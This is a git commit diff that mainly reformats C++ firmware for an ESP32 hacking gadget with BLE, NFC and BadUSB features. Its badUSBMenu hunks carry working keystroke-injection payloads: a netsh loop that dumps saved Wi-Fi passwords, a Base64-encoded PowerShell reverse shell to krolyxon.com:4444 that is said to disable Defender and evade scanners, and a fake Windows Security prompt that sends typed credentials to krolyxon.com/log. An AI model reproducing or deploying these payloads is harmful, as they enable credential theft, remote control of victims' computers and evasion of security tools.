add .clang-format, and apply formatting
This commit is contained in:
parent
206ed22919
commit
58c9c8f51d
|
|
@ -0,0 +1,4 @@
|
||||||
|
BasedOnStyle: LLVM
|
||||||
|
IndentWidth: 4
|
||||||
|
TabWidth: 4
|
||||||
|
UseTab: Never
|
||||||
|
|
@ -46,7 +46,8 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
|
||||||
|
|
||||||
if (mData.length() >= 2) {
|
if (mData.length() >= 2) {
|
||||||
char buffer[10];
|
char buffer[10];
|
||||||
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
|
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1],
|
||||||
|
(uint8_t)mData[0]);
|
||||||
dev.manufacturer = String(buffer);
|
dev.manufacturer = String(buffer);
|
||||||
} else {
|
} else {
|
||||||
dev.manufacturer = "unknown";
|
dev.manufacturer = "unknown";
|
||||||
|
|
@ -56,7 +57,8 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
|
||||||
}
|
}
|
||||||
|
|
||||||
if (advertisedDevice.haveServiceUUID()) {
|
if (advertisedDevice.haveServiceUUID()) {
|
||||||
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
|
dev.deviceType =
|
||||||
|
advertisedDevice.getServiceUUID().toString().c_str();
|
||||||
} else {
|
} else {
|
||||||
dev.deviceType = "unknown";
|
dev.deviceType = "unknown";
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -27,11 +27,10 @@
|
||||||
#define CC1101_GDO2 42
|
#define CC1101_GDO2 42
|
||||||
|
|
||||||
// SD Card via HSPI
|
// SD Card via HSPI
|
||||||
//#define SD_SCK 14
|
// #define SD_SCK 14
|
||||||
//#define SD_MISO 39
|
// #define SD_MISO 39
|
||||||
//#define SD_MOSI 38
|
// #define SD_MOSI 38
|
||||||
//#define SD_CS 37
|
// #define SD_CS 37
|
||||||
|
|
||||||
|
|
||||||
// =================== Buttons ====================
|
// =================== Buttons ====================
|
||||||
#define BTN_UP 4
|
#define BTN_UP 4
|
||||||
|
|
|
||||||
|
|
@ -213,8 +213,8 @@ void badUSBMenu(int index) {
|
||||||
|
|
||||||
// The "Magic" Command:
|
// The "Magic" Command:
|
||||||
// This lists all profiles and shows the 'Key Content' (the password) in
|
// This lists all profiles and shows the 'Key Content' (the password) in
|
||||||
// clear text. We use a 'for' loop to automate this for every network the PC
|
// clear text. We use a 'for' loop to automate this for every network
|
||||||
// has ever joined.
|
// the PC has ever joined.
|
||||||
typeSlow(
|
typeSlow(
|
||||||
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
|
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
|
||||||
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
|
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
|
||||||
|
|
@ -328,46 +328,67 @@ void badUSBMenu(int index) {
|
||||||
delay(3000); // Give the Admin window time to load
|
delay(3000); // Give the Admin window time to load
|
||||||
|
|
||||||
// 3. AMSI Bypass + Disable Defender + Execute Shell
|
// 3. AMSI Bypass + Disable Defender + Execute Shell
|
||||||
// We use -EncodedCommand to hide the script from simple string scanners.
|
// We use -EncodedCommand to hide the script from simple string
|
||||||
// The Base64 string below contains:
|
// scanners. The Base64 string below contains: Set-MpPreference
|
||||||
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
|
// -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
|
||||||
|
|
||||||
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
|
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
|
||||||
"-EncodedCommand ");
|
"-EncodedCommand ");
|
||||||
|
|
||||||
// This is the encoded payload for krolyxon.com:4444
|
// This is the encoded payload for krolyxon.com:4444
|
||||||
typeSlow(
|
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0A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QAZQAsADAALAAkAHMAZQBu"
|
||||||
|
"AGQAYgB5A"
|
||||||
"HQAZQAuAEwAZQB"
|
"HQAZQAuAEwAZQB"
|
||||||
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
|
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA"
|
||||||
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
|
"JABjAGwAa"
|
||||||
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
|
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA"
|
||||||
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
|
"BwAHIAZQB"
|
||||||
|
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA"
|
||||||
|
"bwBkAGkAb"
|
||||||
|
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF"
|
||||||
|
"QAbwBBAHI"
|
||||||
"AcgBhAHkAKAApACkAKQA=");
|
"AcgBhAHkAKAApACkAKQA=");
|
||||||
|
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
@ -379,17 +400,20 @@ void badUSBMenu(int index) {
|
||||||
// Open hidden PowerShell
|
// Open hidden PowerShell
|
||||||
runCommand(
|
runCommand(
|
||||||
"powershell -nop -W Hidden -c \"$cred = "
|
"powershell -nop -W Hidden -c \"$cred = "
|
||||||
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
|
"$host.ui.PromptForCredential('Windows Security','Please "
|
||||||
|
"authenticate "
|
||||||
"to update your system credentials.','',''); $p = "
|
"to update your system credentials.','',''); $p = "
|
||||||
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
|
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
|
||||||
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
|
"Invoke-WebRequest -Uri "
|
||||||
|
"'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
|
||||||
|
|
||||||
break;
|
break;
|
||||||
// ================= DESKTOP GHOST =================
|
// ================= DESKTOP GHOST =================
|
||||||
case 12:
|
case 12:
|
||||||
showRunningScreen("Ghost Mode");
|
showRunningScreen("Ghost Mode");
|
||||||
|
|
||||||
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
|
runCommand(
|
||||||
|
"powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
|
||||||
"System.Windows.Forms; "
|
"System.Windows.Forms; "
|
||||||
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
|
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
|
||||||
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
|
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
|
||||||
|
|
@ -398,7 +422,8 @@ void badUSBMenu(int index) {
|
||||||
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
|
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
|
||||||
|
|
||||||
// Hide Desktop Icons (requires a registry tweak)
|
// Hide Desktop Icons (requires a registry tweak)
|
||||||
typeSlow("reg add "
|
typeSlow(
|
||||||
|
"reg add "
|
||||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
|
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
|
||||||
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
|
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
|
||||||
"explorer.exe && start explorer.exe");
|
"explorer.exe && start explorer.exe");
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,5 @@
|
||||||
#pragma once
|
#pragma once
|
||||||
|
#include <Arduino.h>
|
||||||
|
|
||||||
void badUSBMenu(int index);
|
void badUSBMenu(int index);
|
||||||
void showRunningScreen(String taskName, uint8_t duration);
|
void showRunningScreen(String taskName, uint8_t duration);
|
||||||
|
|
|
||||||
|
|
@ -451,11 +451,10 @@ uint8_t Adafruit_PN532::readGPIO(void) {
|
||||||
|
|
||||||
byte Description
|
byte Description
|
||||||
------------- ------------------------------------------
|
------------- ------------------------------------------
|
||||||
b0..5 Frame header and preamble (with I2C there is an extra 0x00)
|
b0..5 Frame header and preamble (with I2C there is an extra
|
||||||
b6 P3 GPIO Pins
|
0x00) b6 P3 GPIO Pins b7 P7 GPIO Pins (not used
|
||||||
b7 P7 GPIO Pins (not used ... taken by SPI)
|
... taken by SPI) b8 Interface Mode Pins (not used ... bus
|
||||||
b8 Interface Mode Pins (not used ... bus select pins)
|
select pins) b9..10 checksum */
|
||||||
b9..10 checksum */
|
|
||||||
|
|
||||||
int p3offset = 7;
|
int p3offset = 7;
|
||||||
|
|
||||||
|
|
@ -557,7 +556,8 @@ bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) {
|
||||||
bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid,
|
bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid,
|
||||||
uint8_t *uidLength, uint16_t timeout) {
|
uint8_t *uidLength, uint16_t timeout) {
|
||||||
pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
|
pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
|
||||||
pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later)
|
pn532_packetbuffer[1] =
|
||||||
|
1; // max 1 cards at once (we can set this to 2 later)
|
||||||
pn532_packetbuffer[2] = cardbaudrate;
|
pn532_packetbuffer[2] = cardbaudrate;
|
||||||
|
|
||||||
if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) {
|
if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) {
|
||||||
|
|
@ -580,7 +580,8 @@ bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid,
|
||||||
/**************************************************************************/
|
/**************************************************************************/
|
||||||
bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) {
|
bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) {
|
||||||
pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
|
pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
|
||||||
pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later)
|
pn532_packetbuffer[1] =
|
||||||
|
1; // max 1 cards at once (we can set this to 2 later)
|
||||||
pn532_packetbuffer[2] = cardbaudrate;
|
pn532_packetbuffer[2] = cardbaudrate;
|
||||||
|
|
||||||
return sendCommandCheckAck(pn532_packetbuffer, 3);
|
return sendCommandCheckAck(pn532_packetbuffer, 3);
|
||||||
|
|
@ -784,7 +785,8 @@ bool Adafruit_PN532::inListPassiveTarget() {
|
||||||
pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) {
|
pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) {
|
||||||
if (pn532_packetbuffer[7] != 1) {
|
if (pn532_packetbuffer[7] != 1) {
|
||||||
#ifdef PN532DEBUG
|
#ifdef PN532DEBUG
|
||||||
PN532DEBUGPRINT.println(F("Unhandled number of targets inlisted"));
|
PN532DEBUGPRINT.println(
|
||||||
|
F("Unhandled number of targets inlisted"));
|
||||||
#endif
|
#endif
|
||||||
PN532DEBUGPRINT.println(F("Number of tags inlisted:"));
|
PN532DEBUGPRINT.println(F("Number of tags inlisted:"));
|
||||||
PN532DEBUGPRINT.println(pn532_packetbuffer[7]);
|
PN532DEBUGPRINT.println(pn532_packetbuffer[7]);
|
||||||
|
|
@ -798,7 +800,8 @@ bool Adafruit_PN532::inListPassiveTarget() {
|
||||||
return true;
|
return true;
|
||||||
} else {
|
} else {
|
||||||
#ifdef PN532DEBUG
|
#ifdef PN532DEBUG
|
||||||
PN532DEBUGPRINT.print(F("Unexpected response to inlist passive host"));
|
PN532DEBUGPRINT.print(
|
||||||
|
F("Unexpected response to inlist passive host"));
|
||||||
#endif
|
#endif
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
@ -1031,12 +1034,15 @@ uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber,
|
||||||
*/
|
*/
|
||||||
/**************************************************************************/
|
/**************************************************************************/
|
||||||
uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) {
|
uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) {
|
||||||
uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
|
uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1,
|
||||||
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1};
|
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
|
||||||
uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
|
0x03, 0xE1, 0x03, 0xE1};
|
||||||
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1};
|
uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
|
||||||
uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77,
|
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
|
||||||
0x88, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
0x03, 0xE1, 0x03, 0xE1};
|
||||||
|
uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5,
|
||||||
|
0x78, 0x77, 0x88, 0xC1, 0xFF, 0xFF,
|
||||||
|
0xFF, 0xFF, 0xFF, 0xFF};
|
||||||
|
|
||||||
// Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A
|
// Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A
|
||||||
// for the MAD sector in NDEF records (sector 0)
|
// for the MAD sector in NDEF records (sector 0)
|
||||||
|
|
@ -1106,12 +1112,15 @@ uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
|
||||||
0x00,
|
0x00,
|
||||||
0x00,
|
0x00,
|
||||||
0x00};
|
0x00};
|
||||||
uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00};
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0x7F, 0x07,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x88, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
0x00, 0x00, 0x00, 0x00};
|
||||||
|
uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7,
|
||||||
|
0x7F, 0x07, 0x88, 0x40, 0xFF, 0xFF,
|
||||||
|
0xFF, 0xFF, 0xFF, 0xFF};
|
||||||
if (len <= 6) {
|
if (len <= 6) {
|
||||||
// Unlikely we'll get a url this short, but why not ...
|
// Unlikely we'll get a url this short, but why not ...
|
||||||
memcpy(sectorbuffer1 + 9, url, len);
|
memcpy(sectorbuffer1 + 9, url, len);
|
||||||
|
|
@ -1259,7 +1268,8 @@ uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page,
|
||||||
pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
|
pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
|
||||||
pn532_packetbuffer[1] = 1; /* Card number */
|
pn532_packetbuffer[1] = 1; /* Card number */
|
||||||
pn532_packetbuffer[2] =
|
pn532_packetbuffer[2] =
|
||||||
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */
|
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2
|
||||||
|
*/
|
||||||
pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */
|
pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */
|
||||||
memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
|
memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
|
||||||
|
|
||||||
|
|
@ -1399,7 +1409,8 @@ uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) {
|
||||||
pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
|
pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
|
||||||
pn532_packetbuffer[1] = 1; /* Card number */
|
pn532_packetbuffer[1] = 1; /* Card number */
|
||||||
pn532_packetbuffer[2] =
|
pn532_packetbuffer[2] =
|
||||||
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */
|
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2
|
||||||
|
*/
|
||||||
pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */
|
pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */
|
||||||
memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
|
memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
|
||||||
|
|
||||||
|
|
@ -1459,12 +1470,13 @@ uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
|
||||||
0xA0, /* The position inside the tag of the lock bytes (upper 4 = page
|
0xA0, /* The position inside the tag of the lock bytes (upper 4 = page
|
||||||
address, lower 4 = byte offset) */
|
address, lower 4 = byte offset) */
|
||||||
0x10, /* Size in bits of the lock area */
|
0x10, /* Size in bits of the lock area */
|
||||||
0x44, /* Size in bytes of a page and the number of bytes each lock bit can
|
0x44, /* Size in bytes of a page and the number of bytes each lock bit
|
||||||
lock (4 bit + 4 bits) */
|
can lock (4 bit + 4 bits) */
|
||||||
/* NDEF Message TLV - URI Record */
|
/* NDEF Message TLV - URI Record */
|
||||||
0x03, /* Tag Field (0x03 = NDEF Message) */
|
0x03, /* Tag Field (0x03 = NDEF Message) */
|
||||||
(uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */
|
(uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */
|
||||||
0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) */
|
0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB)
|
||||||
|
*/
|
||||||
0x01, /* Type Length for the record type indicator */
|
0x01, /* Type Length for the record type indicator */
|
||||||
(uint8_t)(len + 1), /* Payload len */
|
(uint8_t)(len + 1), /* Payload len */
|
||||||
0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */
|
0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */
|
||||||
|
|
|
||||||
|
|
@ -70,7 +70,7 @@
|
||||||
#define PN532_SPI_DATAREAD (0x03) ///< Data read
|
#define PN532_SPI_DATAREAD (0x03) ///< Data read
|
||||||
#define PN532_SPI_READY (0x01) ///< Ready
|
#define PN532_SPI_READY (0x01) ///< Ready
|
||||||
|
|
||||||
//#define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address
|
// #define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address
|
||||||
// My fucking clone board for some goddamn reason uses the address 0x28
|
// My fucking clone board for some goddamn reason uses the address 0x28
|
||||||
#define PN532_I2C_ADDRESS (0x28)
|
#define PN532_I2C_ADDRESS (0x28)
|
||||||
#define PN532_I2C_READBIT (0x01) ///< Read bit
|
#define PN532_I2C_READBIT (0x01) ///< Read bit
|
||||||
|
|
@ -141,7 +141,7 @@
|
||||||
* @brief Class for working with Adafruit PN532 NFC/RFID breakout boards.
|
* @brief Class for working with Adafruit PN532 NFC/RFID breakout boards.
|
||||||
*/
|
*/
|
||||||
class Adafruit_PN532 {
|
class Adafruit_PN532 {
|
||||||
public:
|
public:
|
||||||
Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
|
Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
|
||||||
uint8_t ss); // Software SPI
|
uint8_t ss); // Software SPI
|
||||||
Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI
|
Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI
|
||||||
|
|
@ -165,7 +165,8 @@ public:
|
||||||
// ISO14443A functions
|
// ISO14443A functions
|
||||||
bool readPassiveTargetID(
|
bool readPassiveTargetID(
|
||||||
uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength,
|
uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength,
|
||||||
uint16_t timeout = 0); // timeout 0 means no timeout - will block forever.
|
uint16_t timeout =
|
||||||
|
0); // timeout 0 means no timeout - will block forever.
|
||||||
bool startPassiveTargetIDDetection(uint8_t cardbaudrate);
|
bool startPassiveTargetIDDetection(uint8_t cardbaudrate);
|
||||||
bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength);
|
bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength);
|
||||||
bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response,
|
bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response,
|
||||||
|
|
@ -180,7 +181,8 @@ public:
|
||||||
bool mifareclassic_IsTrailerBlock(uint32_t uiBlock);
|
bool mifareclassic_IsTrailerBlock(uint32_t uiBlock);
|
||||||
uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen,
|
uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen,
|
||||||
uint32_t blockNumber,
|
uint32_t blockNumber,
|
||||||
uint8_t keyNumber, uint8_t *keyData);
|
uint8_t keyNumber,
|
||||||
|
uint8_t *keyData);
|
||||||
uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data);
|
uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data);
|
||||||
uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data);
|
uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data);
|
||||||
uint8_t mifareclassic_FormatNDEF(void);
|
uint8_t mifareclassic_FormatNDEF(void);
|
||||||
|
|
@ -201,7 +203,7 @@ public:
|
||||||
static void PrintHex(const byte *data, const uint32_t numBytes);
|
static void PrintHex(const byte *data, const uint32_t numBytes);
|
||||||
static void PrintHexChar(const byte *pbtData, const uint32_t numBytes);
|
static void PrintHexChar(const byte *pbtData, const uint32_t numBytes);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
int8_t _irq = -1, _reset = -1, _cs = -1;
|
int8_t _irq = -1, _reset = -1, _cs = -1;
|
||||||
int8_t _uid[7]; // ISO14443A uid
|
int8_t _uid[7]; // ISO14443A uid
|
||||||
int8_t _uidLen; // uid len
|
int8_t _uidLen; // uid len
|
||||||
|
|
|
||||||
|
|
@ -1,18 +1,17 @@
|
||||||
#include "BleConnectionStatus.h"
|
#include "BleConnectionStatus.h"
|
||||||
|
|
||||||
BleConnectionStatus::BleConnectionStatus(void) {
|
BleConnectionStatus::BleConnectionStatus(void) {}
|
||||||
}
|
|
||||||
|
|
||||||
void BleConnectionStatus::onConnect(BLEServer* pServer)
|
void BleConnectionStatus::onConnect(BLEServer *pServer) {
|
||||||
{
|
|
||||||
this->connected = true;
|
this->connected = true;
|
||||||
BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
|
BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
|
||||||
|
BLEUUID((uint16_t)0x2902));
|
||||||
desc->setNotifications(true);
|
desc->setNotifications(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleConnectionStatus::onDisconnect(BLEServer* pServer)
|
void BleConnectionStatus::onDisconnect(BLEServer *pServer) {
|
||||||
{
|
|
||||||
this->connected = false;
|
this->connected = false;
|
||||||
BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
|
BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
|
||||||
|
BLEUUID((uint16_t)0x2902));
|
||||||
desc->setNotifications(false);
|
desc->setNotifications(false);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -3,18 +3,17 @@
|
||||||
#include "sdkconfig.h"
|
#include "sdkconfig.h"
|
||||||
#if defined(CONFIG_BT_ENABLED)
|
#if defined(CONFIG_BT_ENABLED)
|
||||||
|
|
||||||
#include <BLEServer.h>
|
|
||||||
#include "BLE2902.h"
|
#include "BLE2902.h"
|
||||||
#include "BLECharacteristic.h"
|
#include "BLECharacteristic.h"
|
||||||
|
#include <BLEServer.h>
|
||||||
|
|
||||||
class BleConnectionStatus : public BLEServerCallbacks
|
class BleConnectionStatus : public BLEServerCallbacks {
|
||||||
{
|
public:
|
||||||
public:
|
|
||||||
BleConnectionStatus(void);
|
BleConnectionStatus(void);
|
||||||
bool connected = false;
|
bool connected = false;
|
||||||
void onConnect(BLEServer* pServer);
|
void onConnect(BLEServer *pServer);
|
||||||
void onDisconnect(BLEServer* pServer);
|
void onDisconnect(BLEServer *pServer);
|
||||||
BLECharacteristic* inputMouse;
|
BLECharacteristic *inputMouse;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // CONFIG_BT_ENABLED
|
#endif // CONFIG_BT_ENABLED
|
||||||
|
|
|
||||||
|
|
@ -1,22 +1,22 @@
|
||||||
#include <BLEDevice.h>
|
|
||||||
#include <BLEUtils.h>
|
|
||||||
#include <BLEServer.h>
|
|
||||||
#include "BLE2902.h"
|
#include "BLE2902.h"
|
||||||
#include "BLEHIDDevice.h"
|
#include "BLEHIDDevice.h"
|
||||||
#include "HIDTypes.h"
|
|
||||||
#include "HIDKeyboardTypes.h"
|
#include "HIDKeyboardTypes.h"
|
||||||
#include <driver/adc.h>
|
#include "HIDTypes.h"
|
||||||
#include "sdkconfig.h"
|
#include "sdkconfig.h"
|
||||||
|
#include <BLEDevice.h>
|
||||||
|
#include <BLEServer.h>
|
||||||
|
#include <BLEUtils.h>
|
||||||
|
#include <driver/adc.h>
|
||||||
|
|
||||||
#include "BleConnectionStatus.h"
|
#include "BleConnectionStatus.h"
|
||||||
#include "BleMouse.h"
|
#include "BleMouse.h"
|
||||||
|
|
||||||
#if defined(CONFIG_ARDUHAL_ESP_LOG)
|
#if defined(CONFIG_ARDUHAL_ESP_LOG)
|
||||||
#include "esp32-hal-log.h"
|
#include "esp32-hal-log.h"
|
||||||
#define LOG_TAG ""
|
#define LOG_TAG ""
|
||||||
#else
|
#else
|
||||||
#include "esp_log.h"
|
#include "esp_log.h"
|
||||||
static const char* LOG_TAG = "BLEDevice";
|
static const char *LOG_TAG = "BLEDevice";
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
static const uint8_t _hidReportDescriptor[] = {
|
static const uint8_t _hidReportDescriptor[] = {
|
||||||
|
|
@ -25,7 +25,8 @@ static const uint8_t _hidReportDescriptor[] = {
|
||||||
COLLECTION(1), 0x01, // COLLECTION (Application)
|
COLLECTION(1), 0x01, // COLLECTION (Application)
|
||||||
USAGE(1), 0x01, // USAGE (Pointer)
|
USAGE(1), 0x01, // USAGE (Pointer)
|
||||||
COLLECTION(1), 0x00, // COLLECTION (Physical)
|
COLLECTION(1), 0x00, // COLLECTION (Physical)
|
||||||
// ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward)
|
// ------------------------------------------------- Buttons (Left, Right,
|
||||||
|
// Middle, Back, Forward)
|
||||||
USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button)
|
USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button)
|
||||||
USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1)
|
USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1)
|
||||||
USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5)
|
USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5)
|
||||||
|
